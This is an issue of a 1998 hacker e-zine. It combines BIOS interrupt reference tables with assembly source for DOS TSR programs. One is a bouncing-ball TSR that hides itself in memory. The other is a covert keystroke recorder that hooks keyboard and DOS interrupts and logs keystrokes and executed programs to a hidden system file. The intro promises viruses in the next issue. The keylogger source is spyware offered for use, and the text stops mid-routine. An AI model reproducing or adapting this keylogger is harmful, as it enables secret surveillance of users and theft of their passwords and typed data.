HCF Magazine - Issue 002 January 1998 +-------------------------------------+ | H A L T & C A T C H F I R E ! | +-------------------------------------+ > Introduction < I've been pretty busy at school lately with finals and other worthless crap I've had to do, so this issue is coming out around mid-January instead of the beginning of Januray like I had planned. Oh well. I have an extended essay research project due in about a month, for which I'm going to have to write some computer virii. These will probably appear in the next issue. Computer virii are a lot of fun to play with, so I hope this will become a more common topic in future issues. If you have any questions, comments, suggestions, etc., or would like to publish an article you've written, send your e-mail to phasm42@hotmail.com; I usually check it every day. If you're on ICQ, my number is 6509420. ------------------------------------------------------------------------------ Table of Contents ----------------- BIOS Video Services Summary...............................................#001 BIOS Disk Services Summary................................................#002 Keyboard And Clock Services Summary.......................................#003 Miscellaneous BIOS Services Summary.......................................#004 Bouncing ball v19.........................................................#005 Keystroke recorder v3.....................................................#006 Phantom File TSR..........................................................#007 Slow Writer...............................................................#008 Some thoughts on background processing....................................#009 ------------------------------------------------------------------------------ BIOS Video Services Summary #001 --------------------------- > What is it? < This is a quick reference of the more commonly used BIOS video services provided through int 10h. It is not very detailed, but for those readers that do not have a reference, this is a brief description of each service and how to call them. > Set Video Mode < Int 10/00 To call : AH = 00 AL = video mode Returns : Nothing Mode Colors Resolution Grph Resolution ------ ------ ---------- --------------- 0 Text 16 40 x 25 1 Text 16 40 x 25 2 Text 16 80 x 25 3 Text 16 80 x 25 4 Grph 4 40 x 25 320 x 200 5 Grph 4 40 x 25 320 x 200 6 Grph 2 80 x 25 640 x 200 7 Text Mono 80 x 25 D Grph 16 40 x 25 320 x 200 E Grph 16 80 x 25 640 x 200 F Grph Mono 80 x 25 640 x 350 10 Grph 16 80 x 25 640 x 350 11 Grph 2 80 x 30 640 x 480 12 Grph 16 80 x 30 640 x 480 13 Grph 256 40 x 25 320 x 200 > Set Cursor Type < Int 10/01 To call : AH = 01 CH = Starting scan line (bits 0-4) CL = Ending scan line (bits 0-4) Returns : Nothing > Set Cursor Position < Int 10/02 To call : AH = 02 BH = Page number (0 in graphics modes) DH = Row (0 based) DL = Column (0 based) Returns : Nothing > Get Cursor Position and Type < Int 10/03 To call : AH = 03 BH = Page number (0 in graphics modes) Returns : CH = Start scan line for cursor CL = End scan line for cursor DH = Row (0 based) DL = Column (0 based) > Select Display Page < Int 10/05 To call : AH = 05 AL = Page number Returns : Nothing > Scroll Window Up/Down < Int 10/06,07 To call : AH = 06 if up, 07 if down AL = Number of lines to scroll BH = Attribute to use for blanked area CH = Row of upper left corner CL = Column of upper left corner DH = Row of lower right corner DL = Column of lower right corner Returns : Nothing Note : If AL = 0 or AL is greater than the size of the window, then the area will be blanked with the specified attribute. > Get Character and Attribute < Int 10/08 To call : AH = 08 BH = Page number (0 in graphics modes) Returns : AH = Attribute AL = Character Note : Character read from cursor position on specified page. > Write Character and Attribute < Int 10/09 To call : AH = 09 AL = Character BH = Page number (0 in graphics modes) BL = Attribute for character CX = Number of characters to write Returns : Nothing Note : Does not change cursor position. > Write Character w/o Attribute < Int 10/0A To call : AH = 0A AL = Character BH = Page number (0 in graphics modes) BL = Color of character in graphics modes CX = Number of characters to write Returns : Nothing Note : Does not change cursor position. > Write Graphics Pixel < Int 10/0C To call : AH = 0C AL = Color value BH = Page number CX = Pixel's X coordinate DX = Pixel's Y coordinate Note : If bit 7 of AL is set, value is XORed onto screen (except in 256-color screen modes). > Read Graphics Pixel < Int 10/0D To call : AH = 0D BH = Page number CX = Pixel's X coordinate DX = Pixel's Y coordinate Returns : AL = Color of pixel > Teletype Output < Int 10/0E To call : AH = 0E AL = Character BH = Page number (0 in graphics modes) BL = Color of character in graphics modes Returns : Nothing Note : This function interprets the bell (07h), backspace (08h), line feed (0Ah), and carriage return (0Dh) characters. Note that the tab (09h) character is NOT interpreted. > Get Current Display Mode < Int 10/0F To call : AH = 0F Returns : AH = Number of columns on screen AL = Display mode BH = Active display page > Write String < Int 10/13 To call : AH = 13 AL = Write mode Bit 0 : Update cursor after writing string Bit 1 : String composed of alternating characters and attributes Bits 2-7 : Reserved (0) BH = Page number (0 in graphics modes) BL = Color of character if bit 1 of AL not set CX = Number of characters to write DH = Row at which to start writing DL = Column at which to start writing ES:BP -> String to write ------------------------------------------------------------------------------ BIOS Disk Services Summary #002 -------------------------- > What is it? < Duh. > Reset Disk System < Int 13/00 To call : AH = 00 DL = Physical drive number (bit 7 set for hard disks) Returns : AH = Status Carry flag clear is successful (AH = 00) Carry flag set is error Note : This service instructs the drive to pull the heads back to track 0. Status codes (applies to all int 13h calls) 00 : Success 01 : Invalid function in AH or invalid parameter 02 : Address mark not found 03 : Disk write-protected 04 : Sector not found/Read error 05 : Reset failed 06 : Invalid disk change 07 : Drive parameter activity failed 08 : DMA overrun 09 : DMA boundary error (attempted DMA transfer across 64K boundary) 0C : Unsupported track or invalid media 10 : CRC error on read 20 : Controller failure 40 : Seek failed 80 : Timeout > Get Status Of Last Operation < Int 13/01 To call : AH = 01 DL = Physical drive number (bit 7 set for hard disks) Returns : AH = Status (See table in Int 13/00) > Read From Disk/Write To Disk < Int 13/02,03 To call : AH = 02 for read, 03 for write AL = Number of sectors CH = Lower 8 bits of track number CL = Bits 0-5 : Sector number (1 - 63) Bits 6-7 : Upper 2 bits of track number DH = Head number DL = Physical drive number (bit 7 set for hard disks) ES:BX -> Buffer Returns : AH = Status (See table in Int 13/00) AL = Number of sectors transferred Carry flag clear is successful Carry flag set if error Notes : For some drives (especially floppy drives) transfers must not be done across 64K boundaries, and large transfers cannot cross head and track boundaries. Transfers which require switching the head or track must be broken into a series of smaller transfers. > Verify Disk Sectors < Int 13/04 To call : AH = 04 AL = Number of sectors CH = Lower 8 bits of track number CL = Bits 0-5 : Sector number (1 - 63) Bits 6-7 : Upper 2 bits of track number DH = Head number DL = Physical drive number (bit 7 set for hard disks) Returns : AH = Status (See table in Int 13/00) AL = Number of sectors transferred Carry flag clear is successful Carry flag set if error Notes : This service checks whether the CRC stored on the disk matches the actual CRC of the data read from the disk. Verifies which require switching the head or track must be broken into a series of smaller verifies. > Format Floppy Disk Track < Int 13/05 To call : AH = 05 AL = Number of sectors to create CH = Track DH = Head number DL = Drive number (Table shown is for floppy drives only) ES:BX -> Table of how to format each sector For every sector to be formatted, Byte 0 : Track number Byte 1 : Head number Byte 2 : Sector number Byte 3 : Sector size 00 = 128 bytes 01 = 256 bytes 02 = 512 bytes 03 = 1024 bytes Returns : AH = Status (See table in Int 13/00) Carry flag clear if successful Carry flag set if error Note : The sectors/track value is taken from the diskette parameter table pointed to by int 1Eh. > Get Drive Parameters < Int 13/08 To call : AH = 08 DL = Physical drive number (bit 7 set for hard disks) Returns : Carry flag clear is successful AH = Status (00) BL = Drive type 01 : 360K 02 : 1.2M 03 : 720K 04 : 1.44M CH = Lower 8 bits of tracks CL = Bits 0-5 : Sectors/track Bits 6-7 : Upper 2 bits of tracks DH = Maximum head number DL = Number of drives ES:DI -> Drive parameter table (floppies only) Carry flag set if error AH = Status (See table in Int 13/00) Drive Parameter Table. Same format as table pointed to by int 1E. Offset Contents ------ -------- 00 First specify byte Bits 7-4 : Step rate Bits 3-0 : Head unload time (0F = 240 ms) 01 Second specify byte Bits 7-1 : Head load time (01 = 40 ms) Bit 0 : Non-DMA mode (always 0) 02 (BYTE) delay until motor turned off (in clock ticks) 03 (BYTE) sector size 00 = 128 bytes 01 = 256 bytes 02 = 512 bytes 03 = 1024 bytes 04 (BYTE) sectors/track 05 (BYTE) gap length between sectors (2Ah for 5.25", 1Bh for 3.5") 06 (BYTE) data length (ignored if sector size is nonzero) 07 (BYTE) gap length when formatting (50h for 5.25", 6Ch for 3.5") 08 (BYTE) format filler byte (default = F6h) 09 (BYTE) head settle time in milliseconds 0A (BYTE) motor start time in 1/8 seconds > Initialize Hard Disk Using Table < Int 13/09 To call : AH = 09 DL = Physical drive number (hard disks only) Returns : AH = Status (See table in Int 13/00) Carry flag clear is successful Carry flag set if error Note : If the physical drive is 80h, then the table is pointed at by int 41h. If the physical drive is 81h, then the table is pointed at by int 46h. > Hard Disk Seek to Cylinder < Int 13/0C To call : AH = 0C CH = Lower 8 bits of track number CL = Bits 0-5 : Sector number (1 - 63) Bits 6-7 : Upper 2 bits of track number DH = Head number DL = Physical drive number (hard drives only) Returns : AH = Status (See table in Int 13/00) Carry flag clear is successful Carry flag set if error > Hard Disk Reset/Check if Ready/Recalibrate < Int 13/0D,10,11 To call : AH = 0D if resetting 10 if checking if ready 11 if recalibrating DL = Physical drive number (hard drives only) Returns : AH = Status (See table in Int 13/00) Carry flag clear is successful Carry flag set if error > Hard Disk Controller RAM/Drive/Internal Diagnostic < Int 13/12,13,14 To call : AH = 12 if controller RAM diagnostics 13 if drive diagnostics 14 if internal controller diagnostics DL = Physical drive number (hard drives only) Returns : AH = Status (See table in Int 13/00) AL = 00 Carry flag clear is successful Carry flag set if error > Get Disk Type < Int 13/15 To call : AH = 15 DL = Physical drive number (hard drives only) Returns : Carry flag clear if successful AH = Type code 00 : Drive does not exist 01 : Floppy without change-line support 02 : Floppy with change-line support 03 : Hard disk CX:DX = DWORD number of sectors Carry flag set if error AH = Status (See table in Int 13/00) > Detect Disk Change < Int 13/16 To call : AH = 16 DL = Physical drive number (floppies only) Returns : Carry flag clear if change line inactive AH = 00 (no disk change) Carry flag set if change line active AH = Status 01 : Invalid command 06 : Change line active or unsupported 80 : Drive not ready or non-existent > Set Floppy Disk Type For Formatting < Int 13/17 To call : AH = 17 AL = Type 01 = 320K/360K disk in 360K drive 02 = 320K/360K disk in 1.2M drive 03 = 1.2M disk in 1.2M drive 04 = 720K disk in 720K or 1.44M drive DL = Physical drive number (floppies only) Returns : AH = Status (See table in Int 13/00) Carry flag clear if successful Carry flag set if error > Set Media Type For Format < Int 13/18 To call : AH = 18 CH = Lower 8 bits of maximum track number (total - 1) CL = Bits 0-5 : Sectors/track (1 - 63) Bits 6-7 : Upper 2 bits of maximum track number DH = Head number DL = Physical drive number (bit 7 set for hard disks) Returns : AH = Status (00, 01, 0C, 80; See table in Int 13/00) ES:DI -> Diskette parameter table (See table in Int 13/18) ------------------------------------------------------------------------------ Keyboard And Clock Services Summary #003 ----------------------------------- > Get Non-extended Keystroke < Int 16/00 To call : AH = 00 Returns : AH = BIOS scan code AL = Character (00 if special) Note : This function returns non-extended keys. > Check For Non-extended Keystroke < Int 16/01 To call : AH = 01 Returns : Zero flag clear is keystroke ready AH = BIOS scan code AL = Character (00 if special) Zero flag set if no keystroke ready Note : Even though keystroke information is returned, the key is not removed from the keyboard buffer. > Get Non-extended Shift Flags < Int 16/02 To call : AH = 02 Returns : AL = Keyboard flags located at 0040:0017 Bit 7 : Insert active Bit 6 : Caps Lock enabled Bit 5 : Num Lock enabled Bit 4 : Scroll Lock enabled Bit 3 : Alt key depressed Bit 2 : Ctrl key depressed Bit 1 : Left shift key depressed Bit 0 : Right shift key depressed Note : AH often destroyed upon return > Set Typematic Rate And Delay < Int 16/03 To call : AH = 03 AL = Subfunction (05) BH = Delay 0 = 1/4 second 1 = 1/2 second 2 = 3/4 second 3 = 1 second BL = Rate (00-1F; 00 = 30/sec, 0C = 10/sec, 1F = 2/sec) Returns : Nothing Note : AH often destroyed upon return > Store Keystroke in Keyboard Buffer < Int 16/05 To call : AH = 05 CH = BIOS scan code CL = Character Returns : AL = Status; 00 if successful, 01 if buffer full Note : AH often destroyed upon return > Get Extended Keystroke < Int 16/10 To call : AH = 10 Returns : AH = BIOS scan code AL = Character (00 if special) > Check For Extended Keystroke < Int 16/11 To call : AH = 11 Returns : Zero flag clear is keystroke ready AH = BIOS scan code AL = Character (00 if special) Zero flag set if no keystroke ready Note : Even though keystroke information is returned, the key is not removed from the keyboard buffer. > Get Extended Shift Flags < Int 16/12 To call : AH = 12 Returns : AL = Keyboard flags located at 0040:0017 Bit 7 : Insert active Bit 6 : Caps Lock enabled Bit 5 : Num Lock enabled Bit 4 : Scroll Lock enabled Bit 3 : Alt key depressed (either one) Bit 2 : Ctrl key depressed (either one) Bit 1 : Left shift key depressed Bit 0 : Right shift key depressed AH = Keyboard flags located at 0040:0018 Bit 7 : Insert key depressed Bit 6 : Caps Lock key depressed Bit 5 : Num Lock key depressed Bit 4 : Scroll Lock key depressed Bit 3 : Pause active Bit 2 : SysReq key depressed Bit 1 : Left Alt key depressed Bit 0 : Left Ctrl key depressed > Get 122-Key Keystroke < Int 16/20 To call : AH = 20 Returns : AH = BIOS scan code AL = Character (00 if special) > Check For 122-Key Keystroke < Int 16/21 To call : AH = 21 Returns : Zero flag clear is keystroke ready AH = BIOS scan code AL = Character (00 if special) Zero flag set if no keystroke ready Note : Even though keystroke information is returned, the key is not removed from the keyboard buffer. > Get 122-Key Shift Flags < Int 16/22 To call : AH = 22 Returns : AL = Keyboard flags at 0040:0017 (See table in Int 16/12) AH = Keyboard flags at 0040:0018 (See table in Int 16/12) > Get Timer Tick Count < Int 1A/00 To call : AH = 00 Returns : CX:DX = DWORD timer tick count (1 tick = 0.05492544718697 seconds; 18.20649719238 ticks/second. This timer tick is based on a 1234DDh Hz timer, which is usually set to generate an interrupt every 65,536 cycles.) AL = Midnight flag; nonzero if midnight has passed > Set Timer Tick Count < Int 1A/01 To call : AH = 01 CX:DX = DWORD timer tick count (see Int 1A/00 for details) Returns : Nothing Note : Midnight flag is reset by this function. > Get Real-Time Clock Time < Int 1A/02 To call : AH = 02 Returns : BX = Number of days since January 1, 1980 (when time began...) CH = Hours (BCD) CL = Minutes (BCD) DH = Seconds (BCD) DL = 1/100 seconds > Set Real-Time Clock Time < Int 1A/03 To call : AH = 03 CH = Hour (BCD) CL = Minutes (BCD) DH = Seconds (BCD) DL = Daylight savings (00 = standard, 01 = daylight savings) Returns : Nothing > Get Real-Time Clock Date < Int 1A/04 To call : AH = 04 Returns : Carry flag clear if successful CH = Century (BCD) CL = Year (BCD) DH = Month (BCD) DL = Day (BCD) Carry flag set if error > Set Real-Time Clock Date < Int 1A/05 To call : AH = 05 CH = Century (BCD) CL = Year (BCD) DH = Month (BCD) DL = Day (BCD) Returns : Nothing ------------------------------------------------------------------------------ Miscellaneous BIOS Services Summary #004 ----------------------------------- > Get Equipment List < Int 11 To call : Nothing Returns : AX = BIOS equipment list BIOS Equipment List WORD Bits Contents ----- -------- 15-14 Number of parallel ports installed 13-12 Unused 11-9 Number of serial ports installed 8 Unused 7-6 Number of floppies installed - 1 (if bit 0 set; otherwise unused) 5-4 Initial video mode 00 : EGA, VGA, or PGA 01 : 40x25 color 10 : 80x25 color 11 : 80x25 monochrome 3 Unused 2 Pointing device installed 1 80x87 coprocessor installed 0 Floppy disk drive(s) installed (number stored in bits 7-6) > Get Memory Size < Int 12 To call : Nothing Returns : AX = Number of kilobytes of contiguous memory starting from absolute address 00000h. This is stored at 0040:0013. > Initialize COM Port < Int 14/00 To call : AH = 00 AL = Initialization parameter Bits 7-5 = Baud rate 000 : 110 baud 001 : 150 baud 010 : 300 baud 011 : 600 baud 100 : 1200 baud 101 : 2400 baud 110 : 4800 baud 111 : 9600 baud Bits 4-3 = Parity 00, 10 : None 01 : Odd 11 : Even Bit 2 : Stop bits (0 = 1 bit, 1 = 2 bits) Bits 1-0 : Data bits 00 : 5 bits 01 : 6 bits 10 : 7 bits 11 : 8 bits DX = COM port number 0 : COM1 1 : COM2 2 : COM3 3 : COM4 Returns : AH = Port status AL = Modem status Port Status Bit Use --- --- 7 Timeout 6 Transmit shift register empty 5 Transmit holding register empty 4 Break detected 3 Framing error 2 Parity error 1 Overrun error 0 Receive data ready Modem status Bit Use --- --- 7 Carrier detect 6 Ring indicator 5 Data set ready 4 Clear to send 3 Change in carrier detect status 2 Trailing edge of ring indicator 1 Change in data set ready status 0 Change in clear to send status > Write Character To COM Port < Int 14/01 To call : AH = 01 AL = Character DX = COM port 0 : COM1 1 : COM2 2 : COM3 3 : COM4 Returns : AH = Status; bit 7 indicates error Bit 7 clear : No error Bit 7 set : Error; bits 6-0 = Port status (See table in Int 14/00) Note : Port must be initialized before calling this service > Read Character From COM Port < Int 14/02 To call : AH = 02 DX = COM port 0 : COM1 1 : COM2 2 : COM3 3 : COM4 Returns : AH = Status; bit 7 indicates error Bit 7 clear : No error AL = Character Bit 7 set : Error; bits 6-0 = Port status (See table in Int 14/00) Note : Port must be initialized before calling this service > Get COM Port Status < Int 14/03 To call : AH = 03 DX = COM port 0 : COM1 1 : COM2 2 : COM3 3 : COM4 Returns : AH = Port status (See table in Int 14/00) AL = Modem status (See table in Int 14/00) > Extended Initialize COM Port < Int 14/04 To call : AH = 04 AL = Break setting 00 : Break 01 : No break BH = Parity 00 : No parity 01 : Odd parity 02 : Even parity 03 : Stick parity odd 04 : Stick parity even BL = Number of stop bits 00 : One stop bit 01 : Two stop bits (1.5 if data length is 5 bits) CH = Data length 00 : 5 bits 01 : 6 bits 02 : 7 bits 03 : 8 bits CL = Transmission rate (bps) 00 : 110 bps 01 : 150 bps 02 : 300 bps 03 : 600 bps 04 : 1200 bps 05 : 2400 bps 06 : 4800 bps 07 : 9600 bps 08 : 19200 bps DX = COM port 0 : COM1 1 : COM2 2 : COM3 3 : COM4 Returns : AH = Port status (See table in Int 14/00) AL = Modem status (See table in Int 14/00) > Write Character To Printer < Int 17/00 To call : AH = 00 AL = Character DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3) Returns : AH = Printer status Printer status Bits Use ---- --- 7 Not busy 6 Acknowledge 5 Out of paper 4 Printer selected 3 I/O error 2, 1 Unused 0 Timeout > Initialize Printer Port < Int 17/01 To call : AH = 01 DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3) Returns : AH = Printer status (See table in Int 17/00) > Get Printer Status < Int 17/02 To call : AH = 02 DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3) Returns : AH = Printer status (See table in Int 17/00) > Control-Break Handler Address < Int 1B This routine is called when the keyboard handler detects a Ctrl-Break. Normally, this vector points to a routine which sets the DOS Ctrl-C flag. > Timer Tick Handler < Int 1C This routine is normally called by the hardware timer tick handler (Int 08). Programs that want to be called periodically usually hook this interrupt. ------------------------------------------------------------------------------ Bouncing ball v19 #005 ----------------- > Version 19?! < This is one of the first TSRs (and assembly program, for that matter) that I wrote. Of the versions I kept, this is version 19. Whenever I write a new TSR engine, I attach it to this program to test it out. This version writes directly to screen memory. Version 18 uses BIOS functions, but it's slower. Version 17 is two bytes longer than this one. While adding the comments for this program, I noticed that in the GetRand procedure, I had done a 'mov dx, cs' instead of a 'mov dx, cx'. I went back, and noticed that I had made this same mistake since version 10. Because it was used for random numbers, and not very often, the mistake escaped for a long time. Anyway, here's the program: <- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - -> .8086 code segment byte public assume cs:code, ds:code org 100h start: jmp initialize nop nop tag db 'phasm 12/97' ;My tag thedata: textseg dw 0 ;Segment for text video memory coordinates dw 0 ;Coordinates of the ball vectors dw 0 ;Direction of the ball color db 0 ;Color of the ball oldint dw 0, 0 ;Old int 1Ch vector tsr: push ax push bx push cx push dx push ds push es push cs pop ds xor ax, ax mov es, ax mov al, es:[449h] ;Get the screen mode cmp al, 3 jbe okaymode1 ;If 0-3, then okay mode cmp al, 7 je okaymode2 ;If 7, then okay mode jmp exittsr ;Otherwise, abort okaymode1: mov [textseg], 0b800h ;Modes 0-3 : Segment B800h jmp short continue1 okaymode2: mov [textseg], 0b000h ;Mode 7 : Segment B000h continue1: mov ax, es:[44eh] ;Get the offset of the current page shr ax, 4 ;Convert into a segment # add [textseg], ax ;Add it to the video segment mov dl, es:[484h] ;Maximum row number (rows - 1) mov dh, es:[44ah] ;Columns on screen push dx ;Save shr dh, 1 ;Divide columns by 2 (ball's columns) dec dh ;Decrement to find max mov bx, [coordinates] ;Get coordinates of ball mov cx, [vectors] ;Get ball's vector or cl, cl ;Is CL = 0? jnz down ;If not, goto down dec bl ;Decrement ball's row (move up) cmp bl, -1 ;Is the row = -1? jne checkotherbound1 ;If not, check if out of bounds mov bl, 1 ;Set row = 1 mov cl, 1 ;Set ball's direction to down checkotherbound1: cmp bl, dl jbe updatecolumn ;If new row <= max row, check column call getnewstuff ;Get new position and vector for ball mov bx, [coordinates] ;Save coordinates mov cx, [vectors] ;Save vectors jmp short updatedisplay ;Update the display down: inc bl ;Increment ball's row (move down) cmp bl, dl ;Is the row <= last row? jbe updatecolumn ;If so, go check the column sub bl, 2 ;Bounce the ball xor cl, cl ;Set the vertical direction vector cmp bl, dl ;Is the row <= last row? jbe updatecolumn ;If so, go check the column call getnewstuff ;The # rows on screen has changed, ;so new coordinates and vectors must ;be generated mov bx, [coordinates] ;Save the coordinates mov cx, [vectors] ;Save the vectors jmp short updatedisplay ;Update the display updatecolumn: or ch, ch ;Is horizontal vector = 0? jnz right ;If not, move right dec bh ;Decrement the column cmp bh, -1 ;Is the column = -1 jne checkotherbound2 ;If not, check the other bound mov bh, 1 ;Set the column to 1 mov ch, 1 ;Bounce right checkotherbound2: cmp bh, dh ;Is the column <= max column? jbe updatedone ;Is so, check if color needs to change call getnewstuff ;Get new data for ball mov bx, [coordinates] ;Save coordinates mov cx, [vectors] ;Save vectors jmp short updatedisplay ;Update the display right: inc bh ;Increment the column cmp bh, dh ;Is the column <= max column? jbe updatedone ;If so, check if color needs to change sub bh, 2 ;Update ball's position xor ch, ch ;Reverse direction (left) cmp bh, dh ;Is the column <= max column? jbe updatedone ;If so, check if color needs to change call getnewstuff ;Get new ball data mov bx, [coordinates] ;Save coordinates mov cx, [vectors] ;Save vectors jmp short updatedisplay ;Update the display updatedone: push bx cmp cx, [vectors] ;Does the ball have the same vectors? je preupdatedisplay ;If yes, then update the display mov bx, 0fh call GetRand ;Get random number 0-14 inc dl ;Shift range to 1-15 mov [color], dl ;Save new color preupdatedisplay: pop bx updatedisplay: mov ax, [textseg] mov es, ax ;Set ES to segment of video memory pop dx ;Restore screen's # columns push bx ;Save new ball coordinates mov ax, [coordinates] ;Get old coordinates mul dh ;Get offset in chars to ball's old row mov bx, ax mov ax, [coordinates] mov al, ah xor ah, ah shl ax, 1 ;Get offset in chars to ball's old col add bx, ax ;Get offset in chars to old ball shl bx, 1 ;Translate into address mov word ptr es:[bx], 720h ;Overwrite with space mov word ptr es:[bx + 2], 720h pop bx ;Restore new coordinates mov [coordinates], bx ;Save new coordinates mov [vectors], cx ;Save new vectors mov cl, bh ;Get column xor ch, ch shl cx, 1 ;Translate into characters mov al, bl mul dh ;Translate row into characters mov bx, ax add bx, cx ;Get offset in characters to new ball shl bx, 1 ;Translate into address mov ah, [color] ;Get ball color mov al, 0dbh ;Solid character mov es:[bx], ax ;Display mov es:[bx + 2], ax exittsr: pop es pop ds pop dx pop cx pop bx pop ax jmp dword ptr cs:[oldint] ;Outta here! getnewstuff proc near mov bl, es:[484h] xor bh, bh ;Number of rows inc bl call GetRand ;Get random number 0-24 push dx ;Store number mov bx, es:[44ah] shr bx, 1 ;Number of columns call GetRand ;Get random number 0-39 push dx ;Store number mov bx, 2 ;Direction call GetRand ;Get random number 0-1 push dx ;Store number call GetRand ;Get another mov cl, dl ;Column direction flag pop dx ;Restore number mov ch, dl ;Row direction flag pop dx ;Restore number mov bh, dl ;Column number pop dx mov bl, dl ;Row number mov [coordinates], bx mov [vectors], cx mov bx, 0fh call GetRand inc dl mov [color], dl getnewstuff endp GetRand PROC NEAR push ax push cx xor ah, ah ;Set function 0 int 1ah ;Get number of ticks mov ax, dx mov dx, cx xor ax, dx xor dx, dx div bx ;Divide pop cx pop ax retn GetRand ENDP initialize: push es xor ax, ax mov es, ax call getnewstuff pop es cld push ds xor ax, ax mov ds, ax mov si, 1ch * 4 mov di, offset oldint cli movsw movsw sti pop ds ;let's see if we can load into upper memory... mov cx, offset initialize - offset thedata shr cx, 1 shr cx, 1 shr cx, 1 shr cx, 1 inc cx mov ax, cs dec ax mov es, ax mov ds:[100h], es keepgoing1: mov ax, es:[3] mov bx, es add ax, bx inc ax mov es, ax cmp byte ptr es:[0], 'M' je valid1 cmp byte ptr es:[0], 'Z' jne failed mov ds:[100h], es valid1: cmp ax, 0a000h jb keepgoing1 keepgoing2: mov al, es:[0] cmp al, 'M' je donevalidcheck cmp al, 'Z' je checkitout failed: mov es, ds:[100h] jmp short goresident failed2: mov es, ds:[100h] mov byte ptr ds:[100h], 'M' mov word ptr ds:[101h], 8 mov ax, es add ax, es:[3] inc ax mov ds, ax mov bx, ds:[3] push cs pop ds add bx, cx mov ds:[103h], bx sub es:[3], cx inc cx jmp short goresident2 donevalidcheck: mov ax, es add ax, es:[3] inc ax mov es, ax jmp short keepgoing2 checkitout: mov ax, es:[1] test ax, ax jnz failed2 mov ax, es:[3] cmp ax, cx jb failed2 ;we'll load into memory and hide goresident: mov byte ptr ds:[100h], 'H' mov word ptr ds:[101h], 7965h ; 'ey' in memory mov word ptr ds:[103h], 2021h ; '! ' in memory inc cx sub es:[3], cx goresident2: mov ax, es add ax, es:[3] inc ax mov es, ax mov si, 100h xor di, di shl cx, 1 shl cx, 1 shl cx, 1 rep movsw sub ax, 10h xor bx, bx mov ds, bx cli mov ds:[1ch * 4], offset tsr mov ds:[1ch * 4 + 2], ax ;terminate int 20h code ends end start <- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - -> ------------------------------------------------------------------------------ Keystroke recorder v3 #006 --------------------- > What it does and how it works < This TSR records keystrokes from int 16h, and also any files executed via int 21h/4Bh. It places the keystrokes and the name and time/date of all EXEC requests in the hidden system file 'C:\IO.DRV'. It waits until the buffer is full or some disk access is being done before dumping the contents of its buffer to the log file. Here is the source code. . . <- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - -> .8086 code segment byte public assume cs:code, ds:code org 100h maxsize = 256 start: jmp initialize nop nop tag db 'phasm 11/97' ;My tag :-) thedata: oldint16 dw 0, 0 ;Old int 16h oldint20 dw 0, 0 ;Old int 20h oldint21 dw 0, 0 ;Old int 21h buffer db maxsize dup (0) ;The buffer buffersize dw 0 ;Amount of data in buffer dumpflag db 0 ;Flag signalling dump request (buffer ; is full) int21flag db 0 ;Flag signalling int 21h in progress filename db 'C:\IO.DRV', 0 ;Name of dump file taghead db '<*** Date/Time: ' ;This data is put in the log file when themonth db 'XX/' ;A file is executed theday db 'XX/' theyear db 'XX ' thehour db 'XX:' theminute db 'XX:' thesecond db 'XX.' thecentisecond db 'XX ' tagtail db ' ***>' endtag: tsr16: ;used to record keys pushf test ah, ah jz hook16 ;Hook function 0 cmp ah, 10h je hook16 ;Hook function 10h cmp ah, 20h je hook16 ;Hook function 20h exit16: popf jmp dword ptr cs:[oldint16] ;No hook; continue int 16h hook16: cmp byte ptr cs:[dumpflag], 1 ;If buffer full. . . je exit16 ;Don't log call dword ptr cs:[oldint16] ;Do original int 16h pushf push bp mov bp, sp push ax mov al, [bp + 9] and al, 00000010b or [bp + 3], al mov ax, [bp + 2] mov [bp + 8], ax ;This code restores the original interrupt pop ax ;Enable flag's status pop bp popf push ax push bx push si mov bx, cs:[buffersize] mov si, offset buffer mov cs:[bx + si], al ;Save the key inc word ptr cs:[buffersize] test al, al ;If not a special key, jnz testmax ;skip the next part inc si mov cs:[bx + si], ah ;Store scan code inc word ptr cs:[buffersize] testmax: cmp word ptr cs:[buffersize], maxsize jne preparetoexit ;If buffer not at max, exit cmp byte ptr cs:[int21flag], 1 ;If int 21h in progress, je setdumpflag ;set the dump flag call bufferdump ;Dump the buffer jmp short preparetoexit setdumpflag: mov byte ptr cs:[dumpflag], 1 ;Request a buffer dump preparetoexit: pop si pop bx pop ax iret ;Exit to caller tsr20: ;Used to trigger buffer dump call bufferdump ;Dump buffer jmp dword ptr cs:[oldint20] ;Continue original handler tsr21: ;Used to trigger buffer dump and record file executions pushf mov byte ptr cs:[int21flag], 1 ;Signal int 21h in progress cmp byte ptr cs:[dumpflag], 1 ;Is a dump requested? jne checksubfunctions ;If not, check subfunctions call bufferdump ;Dump buffer cmp ah, 4bh ;Is caller requesting EXEC? jne exit21 ;If not, exit call recordexec ;If so, record name jmp short exit21 ;Exit checksubfunctions: test ah, ah jz prepdump ;00 : Terminate program cmp ah, 0fh je prepdump ;0F : Open file (FCB) cmp ah, 13h jb exit21 cmp ah, 16h jbe prepdump ;13 : Delete file (FCB) ;14 : Read from file (FCB) ;15 : Write to file (FCB) ;16 : Create file (FCB) cmp ah, 39h je prepdump ;39 : Create subdirectory cmp ah, 3ah je prepdump ;3A : Remove subdirectory cmp ah, 3ch je prepdump ;3C : Create/Truncate file (handle) cmp ah, 3dh je prepdump ;3D : Open file (handle) cmp ah, 3fh je checkhandle ;3F : Read from file (handle) cmp ah, 40h je checkhandle ;40 : Write to file (handle) cmp ah, 41h je prepdump ;41 : Delete file (handle) cmp ah, 4bh je recordname ;4B : Execute/Overlay cmp ah, 4ch je prepdump ;4C : Terminate w/return code cmp ah, 6ch jne exit21 ;6C : Extended open/create file prepdump: call bufferdump ;Dump buffer exit21: call dword ptr cs:[oldint21] ;Do original int 21h pushf push bp mov bp, sp push ax mov al, [bp + 9] and al, 00000010b or [bp + 3], al mov ax, [bp + 2] mov [bp + 8], ax ;Save caller's interrupt enable flag status pop ax pop bp popf mov byte ptr cs:[int21flag], 0 ;Reset int 21h progress flag cmp byte ptr cs:[dumpflag], 1 ;Is dump requested? jne iret21 ;If not, exit call bufferdump ;Dump buffer iret21: iret ;Return to caller checkhandle: cmp bx, 4 ;Is the handle standard? ja prepdump ;If not, go dump the buffer jmp short exit21 ;If it is, exit recordname: call bufferdump ;Dump the buffer call recordexec ;Save the filename jmp short exit21 ;Exit bufferdump proc near cmp word ptr cs:[buffersize], 0 ;If the buffer is empty, je returnhome ;then don't bother push ax push bx push cx push dx push ds push cs pop ds mov ax, 3d01h ;Write access mov dx, offset filename call 